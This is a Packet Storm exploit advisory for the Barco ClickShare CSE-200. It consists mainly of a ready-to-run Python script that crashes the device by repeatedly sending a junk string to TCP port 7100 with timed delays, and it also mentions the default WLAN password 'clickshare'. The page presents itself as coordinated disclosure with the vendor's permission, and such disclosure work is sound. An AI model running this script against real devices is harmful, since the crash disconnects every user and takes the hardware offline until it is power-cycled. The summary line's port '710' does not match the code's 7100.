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Barco ClickShare CSE-200 Denial Of Service

🗓️ 16 Apr 2018 00:00:00Reported by Florian HauserType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 42 Views

Barco CSE-200 ClickShare Denial of Service vulnerability via TCP port 710

Code
`#!/usr/bin/python  
  
# Exploit Title: Barco ClickShare CSE-200 - Remote Denial of Service  
# Date: 11-04-2018  
# Hardware Link: https://www.barco.com/de/product/clickshare-cse-200  
# Exploit Author: Florian Hauser  
# Contact: florian DOT g DOT hauser AT gmail DOT com  
# CVE: requested by Barco  
# Category: Hardware  
  
# Disclaimer:  
# This or previous programs is for Educational   
# purpose ONLY. Do not use it without permission.   
# The usual disclaimer applies, especially the   
# fact that Florian Hauser is not liable for any   
# damages caused by direct or indirect use of the   
# information or functionality provided by these   
# programs. The author or any Internet provider   
# bears NO responsibility for content or misuse   
# of these programs or any derivatives thereof.  
# By using these programs you accept the fact   
# that any damage (dataloss, system crash,   
# system compromise, etc.) caused by the use   
# of these programs is not Florian Hauser's   
# responsibility.  
#   
# Use them at your own risk!  
################  
# Vulnerability description (you have to be connected to the ClickShare WLAN for that, standard password is 'clickshare'):  
# Sending arbitrary unexpected string to TCP port 7100 with respect to -> a certain time sequence <-  
# not only disconnects all clients but also results in a crash of this hardware device  
# Recover: Switch energy supply off for several minutes and reboot the system. Patches will be delivered in July 2018.  
# I got permission from Barco to disclose this vulnerability.  
# This affects potentially all other ClickShare products, Barco confirms  
  
import socket  
import sys  
from time import sleep  
  
if len(sys.argv) != 2:  
print "Usage: exploit.py <ip>"  
sys.exit(0)  
  
  
# Sending random string until crash occurs. Max. of 50 seems definitely sufficient for that.  
# 6-7 requests do the job usually  
for x in range(1,50):  
#Create a new socket each time because otherwise the service drops the socket  
#Same request cannot be sent several times in sequence  
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
#Connect to vulnerable TCP port 7100  
connect=s.connect((str(sys.argv[1]), 7100))  
s.send('some evil string \r\n\n')  
print "Buffer " + str(x) + " sent...\n"  
  
result=s.recv(1024)  
print result  
s.close()  
  
#Sleep for a few seconds because otherwise the service denies a socket creation but does not crash  
sleep(7)  
  
  
`

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